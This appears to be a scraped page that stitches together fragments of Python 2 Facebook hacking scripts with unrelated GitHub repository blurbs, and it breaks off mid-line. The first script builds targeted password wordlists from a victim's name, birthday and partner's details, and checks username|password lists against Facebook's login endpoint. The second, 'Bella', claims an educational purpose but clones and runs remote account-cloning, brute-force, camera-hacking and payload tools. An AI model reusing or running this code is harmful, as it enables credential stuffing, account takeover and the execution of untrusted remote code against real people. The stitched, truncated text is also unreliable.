time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[+] \x1b[1;92mFrom \x1b[1;91m: \x1b[1;97m%s' % nama jalan('\x1b[1;91m[+] \x1b[1;92mMulai menghapus postingan unfaedah\x1b[1;97m ...') print 40 * '\x1b[1;97m\xe2\x95\x90' asu = requests.get('https://graph.facebook.com/me/feed?access_token=' + toket) asus = json.loads(asu.text) for p in asus['data']: id = p['id'] piro = 0 url = requests.get('https://graph.facebook.com/' + id + '?method=delete&access_token=' + toket) ok = json.loads(url.text) try: error = ok['error']['message'] print '\x1b[1;91m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;91m] \x1b[1;95mGagal' except TypeError: print '\x1b[1;92m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;92m] \x1b[1;96mTerhapus' piro += 1 except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Koneksi Error' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def accept(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') r = requests.get('https://graph.facebook.com/me/friendrequests?limit=' + limit + '&access_token=' + toket) teman = json.loads(r.text) if '[]' in str(teman['data']): print '\x1b[1;91m[!] Tidak ada permintaan pertemanan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in teman['data']: gas = requests.post('https://graph.facebook.com/me/friends/' + i['from']['id'] + '?access_token=' + toket) a = json.loads(gas.text) if 'error' in str(a): print '\x1b[1;91m[+] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;91m Gagal' print 40 * '\x1b[1;97m\xe2\x95\x90' else: print '\x1b[1;91m[+] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;92m Berhasil' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def unfriend(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;97mStop \x1b[1;91mCTRL+C' print try: pek = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) cok = json.loads(pek.text) for i in cok['data']: nama = i['name'] id = i['id'] requests.delete('https://graph.facebook.com/me/friends?uid=' + id + '&access_token=' + toket) print '\x1b[1;97m[\x1b[1;92mTerhapus\x1b[1;97m] ' + nama + ' => ' + id except IndexError: pass except KeyboardInterrupt: print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def lain(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Buat postingan' print '\x1b[1;37;40m2. Buat Wordlist' print '\x1b[1;37;40m3. Akun Checker' print '\x1b[1;37;40m4. Lihat daftar grup' print '\x1b[1;37;40m5. Profile Guard' print print '\x1b[1;97m ->Coming soon<-' print print '\x1b[1;31;40m0. Kembali' print pilih_lain() def pilih_lain(): other = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if other == '': print '\x1b[1;91m[!] Jangan kosong' pilih_lain() else: if other == '1': status() else: if other == '2': wordlist() else: if other == '3': check_akun() else: if other == '4': grupsaya() else: if other == '5': guard() else: if other == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + other + ' \x1b[1;91mTidak ada' pilih_lain() def status(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' msg = raw_input('\x1b[1;91m[+] \x1b[1;92mKetik status \x1b[1;91m:\x1b[1;97m ') if msg == '': print '\x1b[1;91m[!] Jangan kosong' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: res = requests.get('https://graph.facebook.com/me/feed?method=POST&message=' + msg + '&access_token=' + toket) op = json.loads(res.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[+] \x1b[1;92mStatus ID\x1b[1;91m : \x1b[1;97m' + op['id'] raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def wordlist(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;92mIsi data lengkap target dibawah' print 40 * '\x1b[1;97m\xe2\x95\x90' a = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Depan \x1b[1;97m: ') file = open(a + '.txt', 'w') b = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Tengah \x1b[1;97m: ') c = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Belakang \x1b[1;97m: ') d = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan \x1b[1;97m: ') e = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') f = e[0:2] g = e[2:4] h = e[4:] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;93mKalo Jomblo SKIP aja :v' i = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Pacar \x1b[1;97m: ') j = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan Pacar \x1b[1;97m: ') k = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir Pacar >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') l = k[0:2] m = k[2:4] n = k[4:] file.write('%s%s\n%s%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s' % (a, c, a, b, b, a, b, c, c, a, c, b, a, a, b, b, c, c, a, d, b, d, c, d, d, d, d, a, d, b, d, c, a, e, a, f, a, g, a, h, b, e, b, f, b, g, b, h, c, e, c, f, c, g, c, h, d, e, d, f, d, g, d, h, e, a, f, a, g, a, h, a, e, b, f, b, g, b, h, b, e, c, f, c, g, c, h, c, e, d, f, d, g, d, h, d, d, d, a, f, g, a, g, h, f, g, f, h, f, f, g, f, g, h, g, g, h, f, h, g, h, h, h, g, f, a, g, h, b, f, g, b, g, h, c, f, g, c, g, h, d, f, g, d, g, h, a, i, a, j, a, k, i, e, i, j, i, k, b, i, b, j, b, k, c, i, c, j, c, k, e, k, j, a, j, b, j, c, j, d, j, j, k, a, k, b, k, c, k, d, k, k, i, l, i, m, i, n, j, l, j, m, j, n, j, k)) wg = 0 while wg < 100: wg = wg + 1 file.write(a + str(wg) + '\n') en = 0 while en < 100: en = en + 1 file.write(i + str(en) + '\n') word = 0 while word < 100: word = word + 1 file.write(d + str(word) + '\n') gen = 0 while gen < 100: gen = gen + 1 file.write(j + str(gen) + '\n') file.close() time.sleep(1.5) print '\n\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97m %s.txt' % a raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except IOError as e: print '\x1b[1;91m[!] Gagal membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def check_akun(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;92mIsi File\x1b[1;91m : \x1b[1;97musername|password' print 40 * '\x1b[1;97m\xe2\x95\x90' live = [] cek = [] die = [] try: file = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m:\x1b[1;97m ') list = open(file, 'r').readlines() except IOError: print '\x1b[1;91m[!] File tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() pemisah = raw_input('\x1b[1;91m[+] \x1b[1;92mPemisah \x1b[1;91m:\x1b[1;97m ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for meki in list: username, password = meki.strip().split(str(pemisah)) url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + password + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' data = requests.get(url) mpsh = json.loads(data.text) if 'access_token' in mpsh: live.append(password) print '\x1b[1;97m[\x1b[1;92mLive\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password elif 'www.facebook.com' in mpsh['error_msg']: cek.append(password) print '\x1b[1;97m[\x1b[1;93mCheck\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password else: die.append(password) print '\x1b[1;97m[\x1b[1;91mMati\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password print '\n\x1b[1;91m[+] \x1b[1;97mTotal\x1b[1;91m : \x1b[1;97mLive=\x1b[1;92m' + str(len(live)) + ' \x1b[1;97mCheck=\x1b[1;93m' + str(len(cek)) + ' \x1b[1;97mDie=\x1b[1;91m' + str(len(die)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def grupsaya(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' try: uh = requests.get('https://graph.facebook.com/me/groups?access_token=' + toket) gud = json.loads(uh.text) for p in gud['data']: nama = p['name'] id = p['id'] f = open('grupid.txt', 'w') listgrup.append(id) f.write(id + '\n') print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + str(nama) print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + str(id) print 40 * '\x1b[1;97m=' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Grup \x1b[1;96m%s' % len(listgrup) print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97mgrupid.txt' f.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except KeyError: os.remove('grupid.txt') print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def guard(): global toket os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Aktifkan' print '\x1b[1;37;40m2. NonAktifkan' print '\x1b[1;31;40m0. Kembali' print g = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if g == '1': aktif = 'true' gaz(toket, aktif) else: if g == '2': non = 'false' gaz(toket, non) else: if g == '0': lain() else: if g == '': keluar() else: keluar() def get_userid(toket): url = 'https://graph.facebook.com/me?access_token=%s' % toket res = requests.get(url) uid = json.loads(res.text) return uid['id'] def gaz(toket, enable=True): id = get_userid(toket) data = 'variables={"0":{"is_shielded": %s,"session_id":"9b78191c-84fd-4ab6-b0aa-19b39f04a6bc","actor_id":"%s","client_mutation_id":"b0316dd6-3fd6-4beb-aed4-bb29c5dc64b0"}}&method=post&doc_id=1477043292367183&query_name=IsShieldedSetMutation&strip_defaults=true&strip_nulls=true&locale=en_US&client_country_code=US&fb_api_req_friendly_name=IsShieldedSetMutation&fb_api_caller_class=IsShieldedSetMutation' % (enable, str(id)) headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'OAuth %s' % toket} url = 'https://graph.facebook.com/graphql' res = requests.post(url, data=data, headers=headers) print res.text if '"is_shielded":true' in res.text: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mDiaktifkan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: if '"is_shielded":false' in res.text: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;91mDinonaktifkan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: print '\x1b[1;91m[!] Error' keluar() if __name__ == '__main__': login()
ashvardanian / SmashTableIf only std::set was a DBMS: collection of templated ACID in-memory exception-free thread-safe and concurrent containers in a header-only library
Halle / HWHorrorShowA self-documenting, randomized cross-thread stress test as a category of XCTestCase, for finding unsafe sequences of messages in cases where you expect to handle any exceptions gracefully.
Kelechiodinakachi / Bella#!/usr/bin/python2 #coding=utf-8 #The Credit For This Code Goes To lovehacker #If You Wanna Take Credits For This Code, Please Look Yourself Again... #Reserved2020 import os,sys,time,mechanize,itertools,datetime,random,hashlib,re,threading,json,getpass,urllib,cookielib from multiprocessing.pool import ThreadPool #### RANDOM Clour #### P = '\033[1;97m' # M = '\033[1;91m' # H = '\033[1;92m' # K = '\033[1;93m' # B = '\033[1;94m' # U = '\033[1;95m' # O = '\033[1;96m' # my_color = [P, M, H, K, B, U, O] warna = random.choice(my_color) warni = random.choice(my_color) def pkgs(): love("\033[1;91m«-----------------\033[1;96mSHABIR BALOCH\033[1;91m-----------------»") love("\033[1;96m«-----------------Disclaimer---------------»") love("\033[1;91m This Tool is for Educational Purpose") love("\033[1;93mThis presentation is for educational") love("\033[1;93mpurposes ONLY.How you use this information") love("\033[1;93mis your responsibility.I will not be") love("\033[1;93mheld accountable This Tool/Channel Doesn't") love("\033[1;93mSupport illegal activities.for any illegal") love("\033[1;93mActivitie This Tool is for Educational Purpose") love("\033[1;91m«------------------SHABIR BALOCH----------------»") love("\033[1;95mB4Baloch 2nd Tool Start ComingSoon New Update»") love("\033[1;96m «-----------------\033[1;92mSHABIR BALOCH\033[1;96m--------------»") time.sleep(0.3) os.system("pip install lolcat") try: import mechanize except ImportError: os.system("pip2 install mechanize") try: import requests except ImportError: os.system("pip2 install requests") os.system("python2 Cloning.py") from requests.exceptions import ConnectionError from mechanize import Browser from datetime import datetime reload(sys) sys.setdefaultencoding('utf8') br = mechanize.Browser() br.set_handle_robots(False) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1) br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')] os.system("clear") done = False def animate(): for c in itertools.cycle(['\033[1;96m|', '\033[1;92m/', '\033[1;95m-', '\033[1;91m\\']): if done: break sys.stdout.write('\r\033[1;93mLoading ' + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c ) sys.stdout.flush() time.sleep(0.001) t = threading.Thread(target=animate) t.start() time.sleep(5) done = True def keluar(): print "\033[1;97m{\033[1;91m!\033[1;97m} Keluar" os.sys.exit() def acak(x): w = 'mhkbpcP' d = '' for i in x: d += '!'+w[random.randint(0,len(w)-1)]+i return cetak(d) def cetak(x): w = 'mhkbpcP' for i in w: j = w.index(i) x= x.replace('!%s'%i,'%s;'%str(31+j)) x += '' x = x.replace('!0','') sys.stdout.write(x+'\n') def jalan(z): for e in z + '\n': sys.stdout.write(e) sys.stdout.flush() time.sleep(0.00001) ##### LOGO ##### logo = """ \033[1;96mPAK HACKERS░░░\033[1;92m░░░SHABIRBALOCH╗░░WEBDEVELOPER╗░AND╗░░A\033[1;91mETICALHACKER╗ \033[1;96mYT╔══M4╗B4║░\033[1;92m░░░░WEBHACKER╔══PAK╗ANONAYMOUS╔══YOUTUBE╗CHANNEL║\033[1;91m░B4_BALOCH_M4_MASTER╔╝ \033[1;96mPAKISTANI╦╝HACKERS\033[1;92m║░░░░░███████║██║░░╚═╝\033[1;91m█████═╝░ \033[1;96mWEBHACKER╔══SHABIRBALOCH╗\033[1;92m██║░░░░░██╔══██║██║░░\033[1;91m██╗██╔═██╗░ \033[1;96mWHATSAPP\033[1;92m╦╝03232132362╗██║░░██║╚█\033[1;91m████╔╝██║░╚██╗ \033[1;96m╚═══\033[1;92m══╝░╚══════╝╚═╝░░╚═╝\033[1;91m░╚════╝░╚═╝░░╚═╝ \033[1;96mHACK\033[1;92mTHE╗░░░HACKERS╗░BALOCH╗░HACKERS\033[1;91m████╗██╗░█████╗░ \033[1;96mWE\033[1;92mARE╗░LEGION║WE╔══NEVER╗\033[1;91mFORGIVE╔════╝SPEED█║LIMIT█╔══INCREASED█╗ \033[1;92mVISIT╔█OUR█╔YT║█CHANNEL█\033[1;91mB4║█BALOCH█╗░░M4║██MASTER██║ \033[1;92m██║╚██╔╝██║██╔\033[1;91m══██║██╔══╝░░██║██╔══██║ \033[1;92m██║░╚═╝░██║█\033[1;91m█║░░██║██║░░░░░██║██║░░██║ \033[1;92m╚═╝░░░░░╚═\033[1;91m╝╚═╝░░╚═╝╚═╝░░░░░╚═╝╚═╝░░╚═╝ \033[1;47m\033[1;31m PAKISTANI HACKER \033[1;0m \033[1;96m«-----------------\033[1;91mSHABIR BALOCH\033[1;96m-----------------» \033[1;91m ┈┈┈◢▇◣◢▇◣┈┈◢▇◣◢▇◣┈┈◢▇◣◢▇◣┈┈┈┈ BALOCH \033[1;91m ┈┈┈▇▇▇▇▇▇┈┈▇▇▇▇▇▇┈┈▇▇▇▇▇▇┈┈┈┈ HACKER \033[1;91m ┈┈┈◥▇▇▇▇◤┈┈◥▇▇▇▇◤┈┈◥▇▇▇▇◤┈┈┈┈ \033[1;91m ┈┈┈┈◥▇▇◤┈┈┈┈◥▇▇◤┈┈┈┈◥▇▇◤┈┈┈┈┈ WhatsApp \033[1;91m ┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈◥◤┈┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈◥◤┈┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈◥◤┈┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈┈ 03232132362 \033[1;96m«-----------------\033[1;91mBELLA\033[1;96m-----------------»""" R = '\033[1;91m' G = '\033[1;92m' Y = '\033[1;93m' B = '\033[1;94m' P = '\033[1;95m' S = '\033[1;96m' W = '\033[1;97m' ######Clear###### def clear(): os.system('clear') #### time sleep #### def t(): time.sleep(1) def t1(): time.sleep(0.01) #### print std #love### def love(z): for e in z + "\n": sys.stdout.write(e) sys.stdout.flush() t1() def menu(): os.system('clear') pkgs() os.system('clear') print(logo) os.system('clear') os.system('echo SHABIR░░░░░░BALOCH░░PAKISTANI░ETICAL░░HACKER | lolcat -a -F 0.1') os.system('echo SHABIR░░░░░BALOCH██WEB██DEVELOPER░██ | lolcat -a -F 0.1') os.system('echo WHATSAPP░░░░░03232132362░░FOR THIS SCRIPT░ | lolcat -a -F 0.1') os.system('echo CONTACT ░░░░░ME ON WHATSAPP░░BALOCH CYBER HACKER░ | lolcat -a -F 0.1') os.system('echo WE ARE ░░ANONAYMOUS░WE ARE LEGION WE NEVER GORFIVE | lolcat -a -F 0.1') os.system('echo WE NEVER FORGET░ASPECT ░░ US ░KNOWLEDGE░IS░░FREE | lolcat -a -F 0.1') os.system('echo HI, I AM SHABIR BALOCH A ETICAL HACKER | lolcat -a -F 0.1') os.system('echo WE ARE ANONYMOUS WE ARE LEGION WE NEVER FORGIVE WE NEVER FORGET ASPECT US | lolcat -a -F 0.1') os.system('echo SHABIR BALOCH WHATSAPP = 03232132362 | lolcat -a -F 0.1') os.system('echo VISIT OUR YOUTUBE CHANNEL B4 BALOCH M4 MASTER | lolcat -a -F 0.1') os.system('echo PAKISTANI ETICAL HACKER AND A PROGRAMMER | lolcat -a -F 0.1') os.system('echo LETS░░░░░ENJOY░░OUR░░░░░TOOL░░THANKS | lolcat -a -F 0.1') os.system('echo ------ Your Mind is Your Best Weapon------&&date | lolcat -a -F 0.1') os.system('echo ----------------BELLA-----------------| lolcat') os.system('echo ┈┈┈◢▇◣◢▇◣┈┈◢▇◣◢▇◣┈┈◢▇◣◢▇◣┈┈┈┈ SHABIR BALOCH| lolcat --animate') os.system('echo ┈┈┈▇▇▇▇▇▇┈┈▇▇▇▇▇▇┈┈▇▇▇▇▇▇┈┈┈┈ BALOCHHACKER| lolcat --animate') os.system('echo ┈┈┈◥▇▇▇▇◤┈┈◥▇▇▇▇◤┈┈◥▇▇▇▇◤┈┈┈┈| lolcat') os.system('echo ┈┈┈┈◥▇▇◤┈┈┈┈◥▇▇◤┈┈┈┈◥▇▇◤┈┈┈┈┈ WhatsApp| lolcat --animate') os.system('echo ┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈◥◤┈┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈◥◤┈┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈◥◤┈┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈┈03232132362| lolcat --animate') os.system('echo -----------------BELLA---------------| lolcat --animate') os.system('echo To return to this menu from any Tool| lolcat --animate') time.sleep(0.0005) os.system('echo Stop Process Press. CTRL + z| lolcat --animate') time.sleep(0.0005) os.system('echo Type python2 B4BALOCH.py| lolcat --animate') os.system('echo -----------------SHABIR BALOCH----------------| lolcat --animate') time.sleep(0.0005) os.system('echo [A] Install Random Mail Cloning--------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [B] Install Email Cloning--------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [C] Install Manual Password------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [D] Install Group Cloning--------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [E] Install With Out Fb Id-------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [F] Install Facebook Target------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [G] Install SpiderMan------------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [H] Install Kalilinux------------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [I] Install BlackHat-------------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [J] Install RedMoonNew------------------------ Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [K] Install love3Hack3r----------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [L] Install B4 BALOCH Clonnig----------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [M] Install Web Admin Panel Finder------------ Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [N] Install Attacker-------------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [O] Install Payload--------------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [P] Install CamHacker------------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [Q] Install Compiler-------------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [R] Install Instagram Brut-------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [S] Install Marsh Base------------------------ Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [T] Install Gmail Target---------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [U] Install Termux Logo----------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [V] Install Termux TBomb---------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [W] B4 BALOCH M4 MASTER WhatsApp Group-------- Tool----● | lolcat --animate') time.sleep(0.0005) os.system('echo [X] BlackMafia Dragon404 New Update -----● | lolcat -a -F 0.01') time.sleep(0.0005) os.system('echo [Y] Tool Update--------------------------● | lolcat --animate') time.sleep(0.0005) os.system('echo [Z] EXIT | lolcat -a -F 0.1') time.sleep(0.0005) os.system('echo Slect Option A-Z➣➤| lolcat -a -F 0.1 ') mafia() def mafia(): black = raw_input('\033[1;91m┺\033[1;92m──\033[1;97m──\033[1;96m──\033[1;95m──\033[1;94m──\033[1;92m──\033[1;96m──━\033[1;93m➢\033[1;92m➣\033[1;91m➤') if black =="": print (" ShabirBaloch!") mafia() elif black =="A" or black =="a": clear() print(logo) os.system("rm -rf $HOME/random") clear() os.system("cd $HOME && git clone https://github.com/lovehacker404/random") print (logo) time.sleep(5) os.system("cd $HOME/random && python2 lovehacker.py") elif black =="B" or black =="b": clear() print(logo) os.system("rm -rf $HOME/email") os.system("cd $HOME && git clone https://github.com/lovehacker404/email") print (logo) time.sleep(5) os.system("cd $HOME/email && python2 lovehacker.py") elif black =="C" or black =="c": clear() print(logo) os.system("rm -rf BELLA/Password") os.system("cd $HOME && git clone https://github.com/lovehacker404/Password") print (logo) time.sleep(5) os.system("cd BELLA/Password && python2 lovehacker.py") elif black =="D" or black =="d": clear() print(logo) os.system("rm -rf BELLA/lovehack") os.system("cd $HOME && git clone https://github.com/lovehacker404/lovehack") print (logo) time.sleep(5) os.system("cd $HOME/lovehack && python2 lovehacker.py") elif black =="E" or black =="e": clear() print(logo) os.system("rm -rf $HOME/402") os.system("cd 